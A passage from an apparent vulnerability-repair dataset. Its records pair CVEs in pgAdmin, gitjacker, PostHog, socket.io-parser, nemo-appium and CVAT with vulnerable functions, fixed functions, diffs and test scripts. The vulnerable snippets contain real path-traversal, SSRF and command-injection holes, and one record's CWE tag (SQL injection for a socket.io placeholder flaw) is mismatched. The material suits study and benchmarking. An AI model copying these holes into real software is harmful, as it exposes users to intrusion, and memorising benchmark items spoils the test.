`rbind`\n\t// unless specified\n\tif !bindNonRecursive {\n\t\tnewMount.Options = append(newMount.Options, \"rbind\")\n\t}\n\n\tif !setDest {\n\t\treturn newMount, fromImage, errBadVolDest\n\t}\n\n\t// buildkit parity: support absolute path for sources from current build context\n\tif contextDir != \"\" {\n\t\t// path should be /contextDir/specified path\n\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n\t\tif err != nil {\n\t\t\treturn newMount, \"\", err\n\t\t}\n\t\tnewMount.Source = evaluated\n\t} else {\n\t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n\t\t// error out if no source is set\n\t\tif newMount.Source == \"\" {\n\t\t\treturn newMount, \"\", errBadVolSrc\n\t\t}\n\t\tif err := parse.ValidateVolumeHostDir(newMount.Source); err != nil {\n\t\t\treturn newMount, \"\", err\n\t\t}\n\t}\n\n\topts, err := parse.ValidateVolumeOpts(newMount.Options)\n\tif err != nil {\n\t\treturn newMount, fromImage, err\n\t}\n\tnewMount.Options = opts\n\n\tif !isImageMounted {\n\t\t// we don't want any cleanups if image was not mounted explicitly\n\t\t// so dont return anything\n\t\tfromImage = \"\"\n\t}\n\n\treturn newMount, fromImage, nil\n}"}], "vul_patch": "--- a/internal/volumes/volumes.go\n+++ b/internal/volumes/volumes.go\n@@ -129,7 +129,11 @@\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0959", "cve_description": "A malicious, but authorised and authenticated user can construct an HTTP request using their existing CSRF token and session cookie to manually upload files to any location that the operating system user account under which pgAdmin is running has permission to write.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pgadmin-org/pgadmin4", "patch_url": ["https://github.com/pgadmin-org/pgadmin4/commit/dccd4f0bbaafa783d9f0360c7592b128d5cc3928"], "programing_language": "Python", "vul_func": [{"id": "vul_py_350_1", "commit": "99c6b171e4578f2ecb04925719c677142d51e551", "file_path": "web/pgadmin/misc/file_manager/__init__.py", "start_line": 967, "end_line": 1018, "snippet": "    def add(self, req=None):\n        \"\"\"\n        File upload functionality\n        \"\"\"\n        if not self.validate_request('upload'):\n            return self.ERROR_NOT_ALLOWED\n\n        the_dir = self.dir if self.dir is not None else ''\n        err_msg = ''\n        code = 1\n        try:\n            path = req.form.get('currentpath')\n\n            file_obj = req.files['newfile']\n            file_name = file_obj.filename\n            orig_path = \"{0}{1}\".format(the_dir, path)\n            new_name = \"{0}{1}\".format(orig_path, file_name)\n\n            try:\n                # Check if the new file is inside the users directory\n                if config.SERVER_MODE:\n                    pathlib.Path(new_name).relative_to(the_dir)\n            except ValueError:\n                return self.ERROR_NOT_ALLOWED\n\n            with open(new_name, 'wb') as f:\n                while True:\n                    # 4MB chunk (4 * 1024 * 1024 Bytes)\n                    data = file_obj.read(4194304)\n                    if not data:\n                        break\n                    f.write(data)\n        except Exception as e:\n            code = 0\n            err_msg = str(e.strerror) if hasattr(e, 'strerror') else str(e)\n\n        try:\n            Filemanager.check_access_permission(the_dir, path)\n        except Exception as e:\n            res = {\n                'Error': str(e),\n                'Code': 0\n            }\n            return res\n\n        result = {\n            'Path': path,\n            'Name': new_name,\n            'Error': err_msg,\n            'Code': code\n        }\n        return result"}], "fix_func": [{"id": "fix_py_350_1", "commit": "dccd4f0bbaafa783d9f0360c7592b128d5cc3928", "file_path": "web/pgadmin/misc/file_manager/__init__.py", "start_line": 967, "end_line": 1022, "snippet": "    def add(self, req=None):\n        \"\"\"\n        File upload functionality\n        \"\"\"\n        if not self.validate_request('upload'):\n            return self.ERROR_NOT_ALLOWED\n\n        the_dir = self.dir if self.dir is not None else ''\n        err_msg = ''\n        code = 1\n        try:\n            path = req.form.get('currentpath')\n\n            file_obj = req.files['newfile']\n            file_name = file_obj.filename\n            orig_path = \"{0}{1}\".format(the_dir, path)\n            new_name = \"{0}{1}\".format(orig_path, file_name)\n\n            try:\n                # Check if the new file is inside the users directory\n                if config.SERVER_MODE:\n                    pathlib.Path(\n                        os.path.abspath(\n                            os.path.join(the_dir, new_name)\n                        )\n                    ).relative_to(the_dir)\n            except ValueError:\n                return self.ERROR_NOT_ALLOWED\n\n            with open(new_name, 'wb') as f:\n                while True:\n                    # 4MB chunk (4 * 1024 * 1024 Bytes)\n                    data = file_obj.read(4194304)\n                    if not data:\n                        break\n                    f.write(data)\n        except Exception as e:\n            code = 0\n            err_msg = str(e.strerror) if hasattr(e, 'strerror') else str(e)\n\n        try:\n            Filemanager.check_access_permission(the_dir, path)\n        except Exception as e:\n            res = {\n                'Error': str(e),\n                'Code': 0\n            }\n            return res\n\n        result = {\n            'Path': path,\n            'Name': new_name,\n            'Error': err_msg,\n            'Code': code\n        }\n        return result"}], "vul_patch": "--- a/web/pgadmin/misc/file_manager/__init__.py\n+++ b/web/pgadmin/misc/file_manager/__init__.py\n@@ -19,7 +19,11 @@\n             try:\n                 # Check if the new file is inside the users directory\n                 if config.SERVER_MODE:\n-                    pathlib.Path(new_name).relative_to(the_dir)\n+                    pathlib.Path(\n+                        os.path.abspath(\n+                            os.path.join(the_dir, new_name)\n+                        )\n+                    ).relative_to(the_dir)\n             except ValueError:\n                 return self.ERROR_NOT_ALLOWED\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-29417", "cve_description": "gitjacker before 0.1.0 allows remote attackers to execute arbitrary code via a crafted .git directory because of directory traversal.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/liamg/gitjacker", "patch_url": ["https://github.com/liamg/gitjacker/commit/d72a53a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_46_1", "commit": "e8546ea", "file_path": "internal/pkg/gitjacker/retriever.go", "start_line": 159, "end_line": 287, "snippet": "func (r *retriever) downloadFile(path string) error {\n\n\tpath = strings.TrimSpace(path)\n\n\tfilePath := filepath.Join(r.outputDir, \".git\", path)\n\n\tif r.downloaded[path] {\n\t\treturn nil\n\t}\n\tr.downloaded[path] = true\n\n\trelative, err := url.Parse(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tabsolute := r.baseURL.ResolveReference(relative)\n\tresp, err := r.http.Get(absolute.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve %s: %w\", absolute.String(), err)\n\t}\n\tdefer func() { _ = resp.Body.Close() }()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"unexpected status code for url %s : %d\", absolute.String(), resp.StatusCode)\n\t}\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(filepath.Dir(filePath), 0755); err != nil {\n\t\treturn err\n\t}\n\n\tif !strings.HasSuffix(path, \"/\") {\n\t\tif err := ioutil.WriteFile(filePath, content, 0640); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write %s: %w\", filePath, err)\n\t\t}\n\t}\n\n\tswitch path {\n\tcase \"HEAD\":\n\t\tref := strings.TrimPrefix(string(content), \"ref: \")\n\t\tif err := r.downloadFile(ref); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\tcase \"config\":\n\t\treturn r.analyseConfig(content)\n\tcase \"objects/pack/\":\n\t\t// parse the directory listing\n\t\tpackFiles := packLinkRegex.FindAllStringSubmatch(string(content), -1)\n\t\tfor _, packFile := range packFiles {\n\t\t\tif len(packFile) <= 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := r.downloadFile(fmt.Sprintf(\"objects/pack/%s\", packFile[1])); err != nil {\n\t\t\t\tlogrus.Debugf(\"Failed to retrieve pack file %s: %s\", packFile[1], err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\treturn nil\n\tcase \"objects/info/packs\":\n\t\treturn r.parsePackMetadata(content)\n\t}\n\n\tif strings.HasSuffix(path, \".pack\") {\n\t\treturn r.parsePackFile(path, content)\n\t}\n\n\tif strings.HasPrefix(path, \"refs/heads/\") {\n\t\tif _, err := r.downloadObject(string(content)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\thash := filepath.Base(filepath.Dir(path)) + filepath.Base(path)\n\n\tobjectType, err := r.getObjectType(hash)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch objectType {\n\tcase GitCommitFile:\n\n\t\tcommit, err := r.readCommit(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved commit %s.\", hash)\n\n\t\tif commit.Tree != \"\" {\n\t\t\tif _, err := r.downloadObject(commit.Tree); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", commit.Tree)\n\t\t\t}\n\t\t}\n\t\tfor _, parent := range commit.Parents {\n\t\t\tif _, err := r.downloadObject(parent); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", parent)\n\t\t\t}\n\t\t}\n\n\tcase GitTreeFile:\n\n\t\ttree, err := r.readTree(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved tree %s.\", hash)\n\n\t\tfor _, subHash := range tree.Objects {\n\t\t\tif _, err := r.downloadObject(subHash); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", subHash)\n\t\t\t}\n\t\t}\n\tcase GitBlobFile:\n\t\tlogrus.Debugf(\"Successfully retrieved blob %s.\", hash)\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown git file type for %s: %s\", path, objectType)\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_46_1", "commit": "d72a53a", "file_path": "internal/pkg/gitjacker/retriever.go", "start_line": 159, "end_line": 287, "snippet": "func (r *retriever) downloadFile(path string) error {\n\n\tpath = strings.TrimSpace(path)\n\n\tfilePath := filepath.Join(r.outputDir, \".git\", filepath.FromSlash(filepath.Clean(\"/\"+path)))\n\n\tif r.downloaded[path] {\n\t\treturn nil\n\t}\n\tr.downloaded[path] = true\n\n\trelative, err := url.Parse(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tabsolute := r.baseURL.ResolveReference(relative)\n\tresp, err := r.http.Get(absolute.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to retrieve %s: %w\", absolute.String(), err)\n\t}\n\tdefer func() { _ = resp.Body.Close() }()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"unexpected status code for url %s : %d\", absolute.String(), resp.StatusCode)\n\t}\n\n\tcontent, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.MkdirAll(filepath.Dir(filePath), 0755); err != nil {\n\t\treturn err\n\t}\n\n\tif !strings.HasSuffix(path, \"/\") {\n\t\tif err := ioutil.WriteFile(filePath, content, 0640); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write %s: %w\", filePath, err)\n\t\t}\n\t}\n\n\tswitch path {\n\tcase \"HEAD\":\n\t\tref := strings.TrimPrefix(string(content), \"ref: \")\n\t\tif err := r.downloadFile(ref); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\tcase \"config\":\n\t\treturn r.analyseConfig(content)\n\tcase \"objects/pack/\":\n\t\t// parse the directory listing\n\t\tpackFiles := packLinkRegex.FindAllStringSubmatch(string(content), -1)\n\t\tfor _, packFile := range packFiles {\n\t\t\tif len(packFile) <= 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif err := r.downloadFile(fmt.Sprintf(\"objects/pack/%s\", packFile[1])); err != nil {\n\t\t\t\tlogrus.Debugf(\"Failed to retrieve pack file %s: %s\", packFile[1], err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\treturn nil\n\tcase \"objects/info/packs\":\n\t\treturn r.parsePackMetadata(content)\n\t}\n\n\tif strings.HasSuffix(path, \".pack\") {\n\t\treturn r.parsePackFile(path, content)\n\t}\n\n\tif strings.HasPrefix(path, \"refs/heads/\") {\n\t\tif _, err := r.downloadObject(string(content)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\n\thash := filepath.Base(filepath.Dir(path)) + filepath.Base(path)\n\n\tobjectType, err := r.getObjectType(hash)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch objectType {\n\tcase GitCommitFile:\n\n\t\tcommit, err := r.readCommit(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved commit %s.\", hash)\n\n\t\tif commit.Tree != \"\" {\n\t\t\tif _, err := r.downloadObject(commit.Tree); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", commit.Tree)\n\t\t\t}\n\t\t}\n\t\tfor _, parent := range commit.Parents {\n\t\t\tif _, err := r.downloadObject(parent); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", parent)\n\t\t\t}\n\t\t}\n\n\tcase GitTreeFile:\n\n\t\ttree, err := r.readTree(hash)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlogrus.Debugf(\"Successfully retrieved tree %s.\", hash)\n\n\t\tfor _, subHash := range tree.Objects {\n\t\t\tif _, err := r.downloadObject(subHash); err != nil {\n\t\t\t\tlogrus.Debugf(\"Object %s is missing and likely packed.\", subHash)\n\t\t\t}\n\t\t}\n\tcase GitBlobFile:\n\t\tlogrus.Debugf(\"Successfully retrieved blob %s.\", hash)\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown git file type for %s: %s\", path, objectType)\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/internal/pkg/gitjacker/retriever.go\n+++ b/internal/pkg/gitjacker/retriever.go\n@@ -2,7 +2,7 @@\n \n \tpath = strings.TrimSpace(path)\n \n-\tfilePath := filepath.Join(r.outputDir, \".git\", path)\n+\tfilePath := filepath.Join(r.outputDir, \".git\", filepath.FromSlash(filepath.Clean(\"/\"+path)))\n \n \tif r.downloaded[path] {\n \t\treturn nil\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-29417:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gitjacker\nrm -rf ./internal/pkg/gitjacker/retriever_test.go\ngo mod vendor\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestDownloadFile_PathTraversal$ github.com/liamg/gitjacker/internal/pkg/gitjacker\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-29417:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gitjacker\ngo mod vendor\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd internal/pkg/gitjacker && go test   -timeout 30s -v github.com/liamg/gitjacker/internal/pkg/gitjacker\n"}
{"cve_id": "CVE-2023-46746", "cve_description": "PostHog provides open-source product analytics, session recording, feature flagging and A/B testing that you can self-host. A server-side request forgery (SSRF), which can only be exploited by authenticated users, was found in Posthog. Posthog did not verify whether a URL was local when enabling webhooks, allowing authenticated users to forge a POST request. This vulnerability has been addressed in `22bd5942` and will be included in subsequent releases. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/PostHog/posthog", "patch_url": ["https://github.com/PostHog/posthog/commit/22bd5942638d5d9bc4bd603a9bfe8f8a95572292"], "programing_language": "Python", "vul_func": [{"id": "vul_py_142_1", "commit": "948042d", "file_path": "posthog/api/user.py", "start_line": 460, "end_line": 482, "snippet": "def test_slack_webhook(request):\n    \"\"\"Test webhook.\"\"\"\n    try:\n        body = json.loads(request.body)\n    except (TypeError, json.decoder.JSONDecodeError):\n        return JsonResponse({\"error\": \"Cannot parse request body\"}, status=400)\n\n    webhook = body.get(\"webhook\")\n\n    if not webhook:\n        return JsonResponse({\"error\": \"no webhook URL\"})\n    message = {\"text\": \"_Greetings_ from PostHog!\"}\n    try:\n        if is_cloud():  # Protect against SSRF\n            raise_if_user_provided_url_unsafe(webhook)\n        response = requests.post(webhook, verify=False, json=message)\n\n        if response.ok:\n            return JsonResponse({\"success\": True})\n        else:\n            return JsonResponse({\"error\": response.text})\n    except:\n        return JsonResponse({\"error\": \"invalid webhook URL\"})"}], "fix_func": [{"id": "fix_py_142_1", "commit": "22bd594", "file_path": "posthog/api/user.py", "start_line": 459, "end_line": 481, "snippet": "def test_slack_webhook(request):\n    \"\"\"Test webhook.\"\"\"\n    try:\n        body = json.loads(request.body)\n    except (TypeError, json.decoder.JSONDecodeError):\n        return JsonResponse({\"error\": \"Cannot parse request body\"}, status=400)\n\n    webhook = body.get(\"webhook\")\n\n    if not webhook:\n        return JsonResponse({\"error\": \"no webhook URL\"})\n    message = {\"text\": \"_Greetings_ from PostHog!\"}\n    try:\n        if not settings.DEBUG:\n            raise_if_user_provided_url_unsafe(webhook)\n        response = requests.post(webhook, verify=False, json=message)\n\n        if response.ok:\n            return JsonResponse({\"success\": True})\n        else:\n            return JsonResponse({\"error\": response.text})\n    except:\n        return JsonResponse({\"error\": \"invalid webhook URL\"})"}], "vul_patch": "--- a/posthog/api/user.py\n+++ b/posthog/api/user.py\n@@ -11,7 +11,7 @@\n         return JsonResponse({\"error\": \"no webhook URL\"})\n     message = {\"text\": \"_Greetings_ from PostHog!\"}\n     try:\n-        if is_cloud():  # Protect against SSRF\n+        if not settings.DEBUG:\n             raise_if_user_provided_url_unsafe(webhook)\n         response = requests.post(webhook, verify=False, json=message)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2421", "cve_description": "Due to improper type validation in attachment parsing the Socket.io js library, it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/socketio/socket.io-parser", "patch_url": ["https://github.com/socketio/socket.io-parser/commit/b559f050ee02bd90bd853b9823f8de7fa94a80d4", "https://github.com/socketio/socket.io-parser/commit/04d23cecafe1b859fb03e0cbf6ba3b74dff56d14", "https://github.com/socketio/socket.io-parser/commit/b5d0cb7dc56a0601a09b056beaeeb0e43b160050", "https://github.com/socketio/socket.io-parser/commit/fb21e422fc193b34347395a33e0f625bebc09983"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_30_1", "commit": "6a59237ed03f91e507e954333d63d19f3db534c6", "file_path": "binary.js", "start_line": 70, "end_line": 86, "snippet": "function _reconstructPacket(data, buffers) {\n  if (!data) return data;\n\n  if (data && data._placeholder) {\n    return buffers[data.num]; // appropriate buffer (should be natural order anyway)\n  } else if (isArray(data)) {\n    for (var i = 0; i < data.length; i++) {\n      data[i] = _reconstructPacket(data[i], buffers);\n    }\n  } else if (typeof data === 'object') {\n    for (var key in data) {\n      data[key] = _reconstructPacket(data[key], buffers);\n    }\n  }\n\n  return data;\n}"}], "fix_func": [{"id": "fix_js_30_1", "commit": "04d23cecafe1b859fb03e0cbf6ba3b74dff56d14", "file_path": "binary.js", "start_line": 70, "end_line": 94, "snippet": "function _reconstructPacket(data, buffers) {\n  if (!data) return data;\n\n  if (data && data._placeholder === true) {\n    var isIndexValid =\n      typeof data.num === \"number\" &&\n      data.num >= 0 &&\n      data.num < buffers.length;\n    if (isIndexValid) {\n      return buffers[data.num]; // appropriate buffer (should be natural order anyway)\n    } else {\n      throw new Error(\"illegal attachments\");\n    }\n  } else if (isArray(data)) {\n    for (var i = 0; i < data.length; i++) {\n      data[i] = _reconstructPacket(data[i], buffers);\n    }\n  } else if (typeof data === 'object') {\n    for (var key in data) {\n      data[key] = _reconstructPacket(data[key], buffers);\n    }\n  }\n\n  return data;\n}"}], "vul_patch": "--- a/binary.js\n+++ b/binary.js\n@@ -1,8 +1,16 @@\n function _reconstructPacket(data, buffers) {\n   if (!data) return data;\n \n-  if (data && data._placeholder) {\n-    return buffers[data.num]; // appropriate buffer (should be natural order anyway)\n+  if (data && data._placeholder === true) {\n+    var isIndexValid =\n+      typeof data.num === \"number\" &&\n+      data.num >= 0 &&\n+      data.num < buffers.length;\n+    if (isIndexValid) {\n+      return buffers[data.num]; // appropriate buffer (should be natural order anyway)\n+    } else {\n+      throw new Error(\"illegal attachments\");\n+    }\n   } else if (isArray(data)) {\n     for (var i = 0; i < data.length; i++) {\n       data[i] = _reconstructPacket(data[i], buffers);\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-2421:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/socket.io-parser\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"throws an error when adding an attachment with an invalid\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-2421:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/socket.io-parser\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha test/buffer.js"}
{"cve_id": "CVE-2022-21129", "cve_description": "Versions of the package nemo-appium before 0.0.9 are vulnerable to Command Injection due to improper input sanitization in the 'module.exports.setup' function.\r\r\r**Note:** In order to exploit this vulnerability appium-running 0.1.3  has to be installed as one of nemo-appium dependencies. \r\r", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/paypal/nemo-appium", "patch_url": ["https://github.com/paypal/nemo-appium/commit/aa271d36dd5c81baae3c43aa2616c84f0ee4195f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_224_1", "commit": "0eef7af", "file_path": "index.js", "start_line": 10, "end_line": 54, "snippet": "module.exports.setup = function (apath, nemo, cb) {\n    var once = function () {\n        cb.apply(null, arguments);\n        once = function () {\n            error('once called more than once');\n        };\n    };\n    //check if appium is already running\n    ar(4723, function (success) {\n        if (success) {\n            log(\"Appium is running, move on!\");\n            once(null);\n            // run test\n        } else {\n            log(\"Appium is not running, exec appium &\");\n            //start it\n            var appiumPath = apath;\n            var appiumProcess = cp.exec(appiumPath, function (err) {\n                if (err) {\n                    error(err);\n                    once(err);\n                }\n            });\n            nemo.appium = {\n                process: appiumProcess,\n                kill: function () {\n                    log(\"attempt to kill appium\");\n                    appiumProcess.kill();\n                }\n            };\n            appiumProcess.stdout.on('data', function (data) {\n                if (data.indexOf('Appium REST http interface listener started on 0.0.0.0:4723') !== -1) {\n                    once(null);\n                }\n                log(data);\n            });\n            appiumProcess.stderr.on('data', function (data) {\n                error(data);\n            });\n            appiumProcess.on('exit', function (code) {\n                log('appium exited with code', code);\n            });\n        }\n    });\n};"}], "fix_func": [{"id": "fix_js_224_1", "commit": "aa271d36dd5c81baae3c43aa2616c84f0ee4195f", "file_path": "index.js", "start_line": 10, "end_line": 59, "snippet": "module.exports.setup = function (apath, nemo, cb) {\n    // validate apath since we are going to execute it\n    // should end in appium, and contain no spaces\n    if (apath.indexOf('appium') !== apath.length - 6 || apath.indexOf(' ') > -1) {\n        return cb(new Error('Invalid path to appium executable'))\n    }\n    var once = function () {\n        cb.apply(null, arguments);\n        once = function () {\n            error('once called more than once');\n        };\n    };\n    //check if appium is already running\n    ar(4723, function (success) {\n        if (success) {\n            log(\"Appium is running, move on!\");\n            once(null);\n            // run test\n        } else {\n            log(\"Appium is not running, exec appium &\");\n            //start it\n            var appiumPath = apath;\n            var appiumProcess = cp.exec(appiumPath, function (err) {\n                if (err) {\n                    error(err);\n                    once(err);\n                }\n            });\n            nemo.appium = {\n                process: appiumProcess,\n                kill: function () {\n                    log(\"attempt to kill appium\");\n                    appiumProcess.kill();\n                }\n            };\n            appiumProcess.stdout.on('data', function (data) {\n                if (data.indexOf('Appium REST http interface listener started on 0.0.0.0:4723') !== -1) {\n                    once(null);\n                }\n                log(data);\n            });\n            appiumProcess.stderr.on('data', function (data) {\n                error(data);\n            });\n            appiumProcess.on('exit', function (code) {\n                log('appium exited with code', code);\n            });\n        }\n    });\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,4 +1,9 @@\n module.exports.setup = function (apath, nemo, cb) {\n+    // validate apath since we are going to execute it\n+    // should end in appium, and contain no spaces\n+    if (apath.indexOf('appium') !== apath.length - 6 || apath.indexOf(' ') > -1) {\n+        return cb(new Error('Invalid path to appium executable'))\n+    }\n     var once = function () {\n         cb.apply(null, arguments);\n         once = function () {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31188", "cve_description": "CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/cvat-ai/cvat", "patch_url": ["https://github.com/cvat-ai/cvat/commit/6fad1764efd922d99dbcda28c4ee72d071aa5a07"], "programing_language": "Python", "vul_func": [{"id": "vul_py_399_1", "commit": "a3bc6ed2a0a7564950e95701825be260cde1a9b5", "file_path": "cvat/apps/engine/task.py", "start_line": 206, "end_line": 227, "snippet": "def _download_data(urls, upload_dir):\n    job = rq.get_current_job()\n    local_files = {}\n    for url in urls:\n        name = os.path.basename(urlrequest.url2pathname(urlparse.urlparse(url).path))\n        if name in local_files:\n            raise Exception(\"filename collision: {}\".format(name))\n        slogger.glob.info(\"Downloading: {}\".format(url))\n        job.meta['status'] = '{} is being downloaded..'.format(url)\n        job.save_meta()\n\n        response = requests.get(url, stream=True)\n        if response.status_code == 200:\n            response.raw.decode_content = True\n            with open(os.path.join(upload_dir, name), 'wb') as output_file:\n                shutil.copyfileobj(response.raw, output_file)\n        else:\n            raise Exception(\"Failed to download \" + url)\n\n        local_files[name] = True\n\n    return list(local_files.keys())"}], "fix_func": [{"id": "fix_py_399_1", "commit": "6fad1764efd922d99dbcda28c4ee72d071aa5a07", "file_path": "cvat/apps/engine/task.py", "start_line": 248, "end_line": 270, "snippet": "def _download_data(urls, upload_dir):\n    job = rq.get_current_job()\n    local_files = {}\n    for url in urls:\n        name = os.path.basename(urlrequest.url2pathname(urlparse.urlparse(url).path))\n        if name in local_files:\n            raise Exception(\"filename collision: {}\".format(name))\n        _validate_url(url)\n        slogger.glob.info(\"Downloading: {}\".format(url))\n        job.meta['status'] = '{} is being downloaded..'.format(url)\n        job.save_meta()\n\n        response = requests.get(url, stream=True)\n        if response.status_code == 200:\n            response.raw.decode_content = True\n            with open(os.path.join(upload_dir, name), 'wb') as output_file:\n                shutil.copyfileobj(response.raw, output_file)\n        else:\n            raise Exception(\"Failed to download \" + url)\n\n        local_files[name] = True\n\n    return list(local_files.keys())"}], "vul_patch": "--- a/cvat/apps/engine/task.py\n+++ b/cvat/apps/engine/task.py\n@@ -5,6 +5,7 @@\n         name = os.path.basename(urlrequest.url2pathname(urlparse.urlparse(url).path))\n         if name in local_files:\n             raise Exception(\"filename collision: {}\".format(name))\n+        _validate_url(url)\n         slogger.glob.info(\"Downloading: {}\".format(url))\n         job.meta['status'] = '{} is being downloaded..'.format(url)\n         job.save_meta()\n\n", "poc_patch": null, "unit_test_cmd": null}
